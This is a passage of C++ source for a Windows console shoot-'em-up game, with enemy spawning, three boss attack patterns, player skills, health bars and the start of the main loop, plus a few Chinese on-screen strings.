B[i].vy+=fmax((float)0,0.2-B[i].t/25);if(B[i].y<Y&&B[i].vy>-1.2) B[i].vy-=fmax((float)0,0.2-B[i].t/25);}}
                if(B[i].what>=13&&B[i].what<=15&&B[i].How!=0){if(B[i].x==B[i].How)B[i].vx=0,B[i].How=0;}
                if(B[i].what==16){if(B[i].x<X&&B[i].vx>=-1) B[i].vx-=0.2;else if(B[i].x>X&&B[i].vx<=1) B[i].vx+=0.2;}
            }
            if(B[i].life==1&&B[i].a==0&&B[i].what>0){if(B[i].y>Y&&abs(B[i].x-X)<=3&&((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis) Dis=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb=i;else if(((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis1) Dis1=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb1=i;}
        }
    }
    void Guai(int R,int r){
        if(R==-1){br++;B[br].what=-1;B[br].x=X+rand()%3-1;B[br].y=Y+rand()%3-1;B[br].life=1;}
        if(R<=-2&&R>=-11){br++;B[br].what=R;B[br].x=B[br].a=r;B[br].y=29;if(R<=-3&&R>=-7)B[br].vx=-1;B[br].vy=1;B[br].life=1;}
        if(R==0){br++;B[br].what=1;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==1){br++;B[br].what=2;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==2||R==3){br++;B[br].what=2*R-1;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==4){br++;B[br].what=6;if(r<5)r=5;if(r>30)r=30;B[br].x=r;if(r==11||r==25) B[br].y=29-(rand()%20);else B[br].y=29;X4:B[br].vx=(rand()%21-10)/30.0;B[br].vy=(rand()%25)/30.0;if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X4;int rx=rand()%50;if(rx==0) B[br].vx=0;B[br].life=1;}
        if(R==5){br++;B[br].How=r;B[br].what=7;if(B[br].How<0) B[br].x=19;if(B[br].How>0) B[br].x=21;B[br].y=29;B[br].vy=1;B[br].life=1;}
    }
    void CpGuai(int R,float x,float y,float xx,float yy){
        if(R==4){br++;B[br].what=6;B[br].x=x;B[br].y=y;B[br].vx=xx;B[br].vy=yy;B[br].life=1;}
        if(R==6||R==7||R==8){br++;B[br].what=4+R;B[br].x=x;B[br].y=y;B[br].vx=xx;B[br].vy=yy;B[br].life=1;}
    }
    void MesGuai(int a,int rr){
        int R=rand()%rr,r=-10086;
        if(R==0){if(a==1) r=(5+rand()%8)*2;if(a<=3&&a!=1) r=10+rand()%16;if(a==4) r=rand()%75-20;if(a==5) r=2+rand()%4;if(r!=-10086) Guai(a,r);}
    }
    void NorGuai(int a,int b){
        if(a==1) {if(b==1||b==41) Guai(0,15),Guai(0,17),Guai(0,19);if(b==21||b==61) Guai(0,21),Guai(0,23),Guai(0,25);if(b==81) Guai(0,11),Guai(0,13),Guai(0,15),Guai(0,17),Guai(0,19);if(b==101||b==141) Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23),Guai(0,25);if(b==121) Guai(0,15),Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23);if(b>=160&&b<=260&&b%10==0) Guai(0,b/10-1);if(b>=270&&b<=370&&b%10==0) Guai(0,52-b/10);if(b>=460&&b<=560&&b%10==0) Guai(0,b/10-37),Guai(0,b/10-36),Guai(0,b/10-35);if(b>=570&&b<=670&&b%10==0) Guai(0,78-b/10),Guai(0,77-b/10),Guai(0,76-b/10);if(b>=760&&b<=960&&b%10==0) Guai(0,b/10-66),Guai(0,b/10-65),Guai(0,103-b/10),Guai(0,104-b/10);if(b>=1000&&b<=1300) MesGuai(0,30-b/50);}
        if(a==2) {if(b<=200&&b%30==1) {int r=rand()%4;if(r==1) r=0;for(int i=0;i<4;i++) if(i!=r) Guai(1,i*4+9);}if(b>200&&b<=220&&b%5==1) Guai(1,18);if(b>220&&b<=300&&b%7==1) Guai(1,b/5-26);if(b>350&&b<=370&&b%5==1) Guai(1,22);if(b>370&&b<=450&&b%7==1) Guai(1,96-b/5);if(b==461||b==501||b==541) Guai(1,13),Guai(1,17),Guai(1,21);if(b==481||b==521||b==561) Guai(1,17),Guai(1,21),Guai(1,25);if(b>=561&&b<=861&&b%20==1) Guai(1,b/40+5);if(b>=561&&b<=861&&b%20==11) Guai(1,35-b/40);if(b>=801&&b<=961&&b%15==1) Guai(1,20);if(b>=1000&&b<=1300) MesGuai(1,30-b/50);}
        if(a==3) {if(b==1||b==61) Guai(3,15),Guai(2,17),Guai(2,19);if(b==31||b==91) Guai(2,21),Guai(2,23),Guai(3,25);if(b>=120&&b<=220&&b%10==0) Guai(2,b/10+3);if(b>=240&&b<=340&&b%10==0) Guai(2,49-b/10);if(b>=360&&b<=460&&b%20==0) Guai(2,b/10-21),Guai(2,61-b/10);if(b>=480&&b<=580&&b%20==0) Guai(3,b/10-33),Guai(3,73-b/10);if(b>=600&&b<750&&b%30==0) {for(int i=0;i<5;i++) Guai(3,i*3+10);}if(b>=750&&b<830&&b%10==0) if(b<=200&&b%40==1) Guai(2,X);if(b>=830&&b<910&&b%20==0) Guai(2,X);if(b>=910&&b<980&&b%10==0) Guai(2,X);if(b>=1000&&b<=1300) MesGuai(rand()%2+2,40-b/50);}
        if(a==4) {if(b==1) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.65);if(b==41) CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65);if(b==81) CpGuai(4,5,20,-0.4,0.35),CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,30,20,0.25,0.4),CpGuai(4,21,29,0,0.65);if(b==121) CpGuai(4,5,20,-0.2,0.35),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,30,20,0.4,0.4),CpGuai(4,18,29,0,0.65);if(b==161) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.6),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65);if(b>=200&&b<=500&&b%40==1) {float r=0,rr;for(int i=1;i<=5;i++){X5:rr=0.7+(rand()%5)/10.0;if(rr==r)goto X5;r=rr;CpGuai(4,i*3+7,29,0,0.5+(rand()%50)/80.0);}}if(b>540&&b<=565&&b%5==1) CpGuai(4,5,8,-2,0.2);if(b>590&&b<=615&&b%5==1) CpGuai(4,30,8,1.5,0.2);if(b>640&&b<=665&&b%5==1) CpGuai(4,5,8,-1.5,0.3);if(b>690&&b<=715&&b%5==1) CpGuai(4,30,8,2,0.3);if(b>=750&&b<=950&&b%20==1) {float r=0,rr;for(int i=1;i<=3;i++){X6:rr=0.7+(rand()%5)/10.0;if(rr==r)goto X6;r=rr;CpGuai(4,i*5+7+(rand()%3),29,0,0.5+(rand()%50)/200.0);}}if(b>=1000&&b<=1300) MesGuai(4,5);}
    }
    void RandGood(){
        if(Biao>0){Biao--;Guai(-1,0);}
        if(Gd[1]==0){Gd[1]=rand()%1000+1;if(Win==7)Gd[1]=10086;Gd[3]=rand()%16+8;}
        else if(Gd[1]<=5){Guai(-2-Gd[1],Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=20&&Gd[1]<27){Guai(-8,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=30&&Gd[1]<37){Guai(-9,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=40&&Gd[1]<70){Gd[2]++;if(Gd[2]%2==1)Guai(-10,Gd[3]);if(Gd[2]>=9)memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=70&&Gd[1]<100){Gd[2]++;if(Gd[2]%2==1)Guai(-11,Gd[3]);if(Gd[2]>=9)memset(Gd,0,sizeof(Gd));}
        else if(Boss!=0&&Gd[1]>=450&&Gd[1]<=500){Guai(-2,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else Gd[1]=0;
        for(int i=0;i<20;i++){if(I[i][0]==-1) continue;Setpos(I[i][0],I[i][1]);Color(0);if(I[i][0]==20) cout<<"===";else cout<<"   ";I[i][1]++;if(I[i][0]>=28||I[i][0]<=0||I[i][1]>=29) I[i][0]=I[i][1]=-1;else Color(1),Setpos(I[i][0],I[i][1]),cout<<"■";Color(0);}
    }
    void Panboss(int bx,int by){
        float Nox[4],Noy[4];Nox[0]=X,Noy[0]=Y;
        if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;
        else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;
        else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        for(int i=0;i<3;i++){if((Boss==1||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo1[4]==0) Blo-=20,Bgo1[4]=1,Killb=20,Kill=1;if((Boss==2||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo2[8]==0) Blo-=20,Bgo2[8]=1,Killb=20,Kill=1;}
    }
    void Boss1(){
        for(int j=0;j<20;j++)if(abs(Bx1-I[j][0])<2&&By1-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0;
        for(int i=1;i<=3+(Bbl-Bbr)/5;i++)if(Bbr<Bbl){Setpos(Bway[Bbr][0],Bway[Bbr][1]);if(Bway[Bbr][0]==20) cout<<"==";else cout<<"  ";Bbr++;}
        if(Bwhat1==5){int bx,by;Color(5);for(int i=0;i<10;i++){bx=Bx1-i*Bvx1/10.0;by=By1-i*Bvy1/10.0;Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;}Color(0);}
        Bx1-=Bvx1;By1-=Bvy1;
        if(Bwhat1==0){X2:Bwhat1=rand()%7;if(Bwhat1==2||Bwhat1==3){if(By1<=10||By1>25) goto X2;}if(Bwhat1==4){if(By1<=15||Bx1<20) goto X2;Bgo1[2]=Bx1;Bgo1[3]=By1-1;}if(Bwhat1==5) {X0:Bgo1[3]=rand()%4+1;Bvx1=(rand()%101)/20.0;Bvy1=(rand()%101)/20.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(abs(Bvx1)+abs(Bvy1)<=3||Out1)goto X0;}if(Bwhat1==6){if(By1<=17||By1>25) goto X2;}}
        if(Bwhat1==1){Bgo1[1]++,Bgo1[2]++;int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]);if(Out1) R=0;if(R==0) {int vx=Bvx1,vy=Bvy1;Bgo1[1]=0;Bvx1=(rand()%101-20)/50.0;Bvy1=(rand()%101-20)/50.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(Out1) r=0;} if(r==0) Chang1 }
        if(Bwhat1==2){Bgo1[1]++;if(Bgo1[1]>6){Bvy1=-0.3;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=6;X3:B[br].vx=(rand()%21-10)/40.0;B[br].vy=(rand()%25)/30.0;if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X3;int rx=rand()%50;if(rx==0) B[br].vx=0;B[br].life=1;}if(Bgo1[1]>8) Chang1}
        if(Bwhat1==3){Bgo1[1]++;if(Bgo1[1]>6&&Bgo1[1]%3==0){Bvy1=-0.3;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=8;B[br].life=1;}if(Bgo1[1]>15) Chang1}
        if(Bwhat1==4){Bgo1[1]++;if(Bgo1[1]<=8){Setpos(Bgo1[2],Bgo1[3]);if(Bgo1[1]==1)cout<<" ";else if(Bgo1[1]>1&&Bgo1[2]==20) cout<<"==";else cout<<"  ";Bgo1[2]--;Setpos(Bgo1[2],Bgo1[3]);int r=rand()%4;if(r%2==0) Color(6);else Color(9);if(r<2) cout<<") ";else cout<<"】";Color(0);}if(Bgo1[1]==6) Bgo1[5]=X,Bgo1[6]=Y;if(Bgo1[1]==11){Map(0,(bool)Kill);Setpos(Bgo1[5],Bgo1[6]+1),cout<<"  ";Setpos(Bgo1[5],Bgo1[6]-1),cout<<"  ";Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"  ";Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"  ";int bx,by,bvx=Bgo1[2]-Bgo1[5],bvy=Bgo1[3]-Bgo1[6];Color(6);int i=0;while(1){bx=Bgo1[2]-i*bvx/30.0;by=Bgo1[3]-i*bvy/30.0;if(bx<=5||bx>=30||by<0||by>=29) break;Panboss(bx,by);Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;i++;}Color(0);Map(-1,0);Chang1}}
        if(Bwhat1==5){Bgo1[1]++,Bgo1[2]++;int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]);if(Out1) R=0;if(R==0) {int vx=Bvx1,vy=Bvy1;Bgo1[1]=0;X1:Bvx1=(rand()%101-20)/20.0;Bvy1=(rand()%101-20)/20.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(abs(Bvx1)+abs(Bvy1)<=3||abs(Bvx1-vx)<=1||abs(Bvy1-vy)<=1)goto X1;if(Out1) r=0;} if(r==0) Chang1 }
        if(Bwhat1==6){Bgo1[1]++;if(Bgo1[1]>6&&Bgo1[1]%10==0){By1-=1;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=9;X30:B[br].vy=1;B[br].life=1;}if(Bgo1[1]>31) Chang1}
    }
    void Boss2(){
        for(int j=0;j<20;j++)if(abs(Bx2-I[j][0])<2&&By2-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0;
        for(int i=1;i<=3+(Bbl-Bbr)/5;i++)if(Bbr<Bbl){Setpos(Bway[Bbr][0],Bway[Bbr][1]);if(Bway[Bbr][0]==20) cout<<"==";else cout<<"  ";Bbr++;}
        Bx2-=Bvx2;By2-=Bvy2;
        if(Bwhat2==0){X21:Bwhat2=rand()%7;if(Bwhat2==2){X31:for(int i=1;i<=3;i++){Bgo2[i*2+1]=rand()%28+1,Bgo2[i*2]=rand()%25+5;if((abs(Bgo2[i*2]-Bx2)<=2&&abs(Bgo2[i*2+1]-By2)<=2)||(abs(Bgo2[i*2]-X)<=2&&abs(Bgo2[i*2+1]-Y)<=2))goto X31;}if(Bgo2[2]==Bgo2[4]||Bgo2[2]==Bgo2[6]||Bgo2[6]==Bgo2[4]||Bgo2[5]==Bgo2[3]||Bgo2[3]==Bgo2[7]||Bgo2[5]==Bgo2[7]) goto X31;}if(Bwhat2==3){Bgo2[2]=rand()%2;}if(Bwhat2==4||Bwhat2==5||Bwhat2==6){Bvy2=-1.5;Bvx2=-0.5;}}
        if(Bwhat2==1){Bgo2[1]++,Bgo2[2]++;int R=rand()%(5-Bgo2[1]),r=rand()%(30-Bgo2[2]);if(Out2) R=0;if(R==0) {int vx=Bvx2,vy=Bvy2;Bgo2[1]=0;Bvx2=(rand()%101-20)/50.0;Bvy2=(rand()%101-20)/50.0;if(Bgo2[3]<=2) Bvx2*=-1;if(Bgo2[3]%2==1) Bvy2*=-1;if(Out2) r=0;} if(r==0) Chang2 }
        if(Bwhat2==2){Bgo2[1]++;float bx,by,bvx,bvy;if(Bgo2[1]<21){for(int i=1;i<=3;i++){bvx=Bgo2[i*2]-Bx2,bvy=Bgo2[i*2+1]-By2;if(Bgo2[1]<=10){Setpos(Bx2+(Bgo2[1]-1)*bvx/10.0,By2+(Bgo2[1]-1)*bvy/10.0);if(abs(Bx2+(Bgo2[1]-1)*bvx/10.0-20)<0.5)cout<<"==";else cout<<"  ";bx=Bx2+Bgo2[1]*bvx/10.0;by=By2+Bgo2[1]*bvy/10.0;Setpos(bx,by);}else Setpos(Bgo2[i*2],Bgo2[i*2+1]);int r=rand()%4;if(r%2==0) Color(3);else Color(10);if(r<=1) cout<<"×";else cout<<"+";Color(0);}}if(Bgo2[1]==21){Map(0,(bool)Kill);Color(3);int j=0;for(int j=0;j<=30;j++)for(int i=1;i<=3;i++)for(int k=1;k<=4;k++){if(k==1) bvx=j,bvy=0;if(k==2) bvx=-j,bvy=0;if(k==3) bvx=0,bvy=j;if(k==4) bvx=0,bvy=-j;bx=Bgo2[i*2]+bvx,by=Bgo2[i*2+1]+bvy;if(bx<=5||bx>=30||by<0||by>=30) {continue;}Panboss(bx,by);Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;}Color(0);Map(-1,0);Chang2}}
        if(Bwhat2==3){Bgo2[1]++;if(Bgo2[1]<=18){if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";if(Bgo2[1]%4==0)Bgo2[3]=!Bgo2[3];if(Bgo2[1]%6<3)Color(3);else Color(5);if(Bgo2[3]==0) Setpos(X-3,Y),cout<<"▼",Setpos(X+3,Y),cout<<"▲",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5);if(Bgo2[3]==1) Setpos(X,Y-3),cout<<" ",Setpos(X,Y+3),cout<<" ",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5);Color(0);}if(Bgo2[1]==18){if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";}if(Bgo2[1]>18&&Bgo2[1]<=25){Bgo2[3]=Bgo2[2];if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";if(Bgo2[1]%4<2)Color(3);else Color(5);if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"▼",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"▲";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3),cout<<" ",Setpos(Bgo2[4],Bgo2[5]+3),cout<<" ";Color(0);}if(Bgo2[1]==25){if(Bgo2[2]==0){Color(3);for(int i=4;i<=29;i++){Setpos(i,Bgo2[5]),cout<<"█";Bbl++;Panboss(i,Bgo2[5]);Bway[Bbl][0]=i;Bway[Bbl][1]=Bgo2[5];}}if(Bgo2[2]==1){Color(3);for(int i=0;i<=28;i++){Setpos(Bgo2[4],i),cout<<"█";Bbl++;Panboss(Bgo2[4],i);Bway[Bbl][0]=Bgo2[4];Bway[Bbl][1]=i;}}Chang2}}
        if(Bwhat2==4||Bwhat2==5||Bwhat2==6){Bgo2[1]++;if(By2>27)Bvy2=0;if(Bx2>23)Bvx2=0;if(Bgo2[1]>13&&Bgo2[1]%3==0){float t=By2-Y,g=0.35;if(Boss==6) t/=2.0;CpGuai(Bwhat2+2,Bx2,By2,(Bx2-X)/t*1.0+(t-1)*g/2.0,1);}if(Bgo2[1]>20) Chang2}
    }
    void Boss3(){
        #define Bean br++;B[br].what=13;B[br].x=Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;
        for(int j=0;j<20;j++)if(abs(Bx3-I[j][0])<2&&By3-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        Bx3-=Bvx3;By3-=Bvy3;
        if(Bwhat3<=8){if(Bx3>X&&Bvx3<1.5) Bvx3+=0.3;if(Bx3<X&&Bvx3>-1.5) Bvx3-=0.3;}
        if(Bwhat3==0){X22:Bwhat3=rand()%12;if(Bwhat3==11&&abs(Bx3-20)<=1)goto X22;if(Bwhat3==11)Bgo3[2]=rand()%5;}
        if(Bwhat3==1){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3>=2&&Bwhat3<=6){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].what=11+Bwhat3;B[br].vy=0.5+(rand()%100)/80.0;if(Bwhat3==5)B[br].vy=B[br].vy*3/4.0;B[br].life=1;Chang3}}
        if(Bwhat3==7){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3==8){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3==9){Bvx3=0;Bgo3[1]++;if(Bgo3[1]==6||Bgo3[1]==8){Bean}if(Bgo3[1]>=8)Chang3}
        if(Bwhat3==10){Bvx3=0;Bgo3[1]++;if(Bgo3[1]==6||Bgo3[1]==8||Bgo3[1]==10||Bgo3[1]==12){Bean}if(Bgo3[1]>=12)Chang3}
        if(Bwhat3==11){Bvx3=0;Bgo3[1]++;if(Bgo3[1]>=8)for(int i=1;i<=4;i++){br++;B[br].what=80+100*Bgo3[2]+Bgo3[1]*4+i;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=99;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=99;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}if(Bgo3[1]>=20){for(int i=1;i<=4;i++){br++;B[br].what=98;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}Chang3}}
    }
    void Ball(int ball){
        if(ball==1){int f=0;for(int i=1;i<=3;i++) {if(fir[i]==1) fir[i]--,Fir++;else if(fir[i]>1) fir[i]--;else f=i;}if(Fir>0&&f!=0){br++;B[br].what=-13;B[br].x=X;B[br].y=Y+rand()%3-1;B[br].life=1;if(Dis<=30) B[br].a=Disb,B[Disb].a=1,fir[f]=20,Fir--;else if(Boss!=0) B[br].a=13880086,fir[f]=20,Fir--;else if(Dis!=13880087) B[br].a=Disb,B[Disb].a=1,fir[f]=20,Fir--;else if(Dis1!=13880087) B[br].a=Disb1,B[Disb1].a=1,fir[f]=20,Fir--;else B[br].life=0;Dis=Dis1=13880087;}}
        if(ball==2){if(T%4==0)ib=(ib+1)%20,I[ib][1]=Y-2;if(T%16==0)I[ib][0]=X;if(T%16==4)I[ib][0]=X-1;if(T%16==8)I[ib][0]=X+1;if(T%16==12)I[ib][0]=X-2;if(T%12==9)I[ib][0]=X+2;if(Water==1){for(int i=X-6;i<=X+6;i++)ib=(ib+1)%20,I[ib][0]=i,I[ib][1]=Y-2-0.5*abs(i-X);}}
        if(ball==3){if(Wind>5){if(Y<Ding-1)Vy=5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(Wind<5){if(Y>Ding-1)Vy=-5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(Wind==5){if(Boss==2) Ding=12.25;else Ding=6.25;if(Boss!=0) Bblo-=16+Lv*4;if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 3F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");system("cls");for(int i=bl;i<=br;i++)if(B[i].what>0)B[i].life=0;Setpos(20,0);for(int i=1;i<=60;i++) printf("=");}}
        if(ball==4){if(Thun==1){if(Boss!=0) Bblo-=16+Lv*4;if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 9F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");system("cls");for(int i=bl;i<=br;i++)if(B[i].what>0)B[i].life=0;Setpos(20,0);for(int i=1;i<=60;i++) printf("=");}}
        if(ball==5){system("cls"); Color(5);Setpos(10,10);cout<<"新天赋!";Y:int rr=rand()%4+2;Setpos(12,10);if(rr==Ren) goto Y;if(rr==2)cout<<"瞬跳";if(rr==3)cout<<"空之舞";if(rr==4)cout<<"三段跳";if(rr==5)cout<<"反重力跳跃";Setpos(14,10);cout<<"当前天赋:";if(Ren==1)cout<<"小无敌";if(Ren==2)cout<<"瞬跳";if(Ren==3)cout<<"空之舞";if(Ren==4)cout<<"三段跳";if(Ren==5)cout<<"反重力跳跃";Setpos(16,10);cout<<"换否?(y/n)";G:char g=_getch();if(g=='y')Ren=rr;else if(g!='n')goto G;system("cls");Setpos(20,0);Color(0);for(int i=1;i<=60;i++) printf("=");}
        if(ball==6){Color(4);for(float i=1;i<=Bblo;i+=Bblomax/20.0)cout<<"▄";Color(0);cout<<' '<<Bblo<<"                              ";Color(0);}
        if(ball==7){Color(1);if(Win==7&&T%6<3)Color(3);for(float i=1;i<=Blo;i+=Blomax/20.0)cout<<"▄";Color(0);if(Win==7&&T%6<3)Color(3);printf(" %0.1f                              ",Blo);}
    }
    int main(){
        system("mode con cols=60 lines=37");CONSOLE_CURSOR_INFO cursor_info={1,0};SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);srand((unsigned)time(NULL));
        Win=0;Ren=1;Lv=1;Blo=Blomax=100;Expmax=300;Hui=15;X=18,Y=6;
        ReStart:system("cls");memset(B,0,sizeof(B));memset(I,-1,sizeof(I));T=0;bl=0;br=-1;Upt=0;
        Start:Blo=Blomax;Ding=6.25;
        memset(Bgo1,0,sizeof(Bgo1));memset(Bgo2,0,sizeof(Bgo2));memset(Bgo3,0,sizeof(Bgo3));
        if(Win%2==0) T=0;if(Win%2==0&&D==0){if(Win>0)Ball(5);Boss=0;lL:L=rand()%4+1;for(int i=0;i<=Win/2-1;i++)if(L==Ll[i]) goto lL;Ll[Win/2]=L;}if(Win%2==1&&D==0){if(Win==7)Boss=6,T=0,Blomax+=100;else{bl:Boss=rand()%3+1;for(int i=0;i<=3;i++)if(Boss==Bl[i]) goto bl;}Bl[Win/2]=Boss;Bwhat1=Bwhat2=Bwhat3=0,Bx1=10,By1=20,Bx2=15,By2=20,Bx3=21,By3=20;system("color 4C");Sleep(20);system("color 0F");Map(0,1);Sleep(1000);}if(Win%2==1){Bblomax=500+(Win/2)*500;Bblo=Bblomax;if(Boss==2) Ding=12.25;}
        while(1){
            T++;
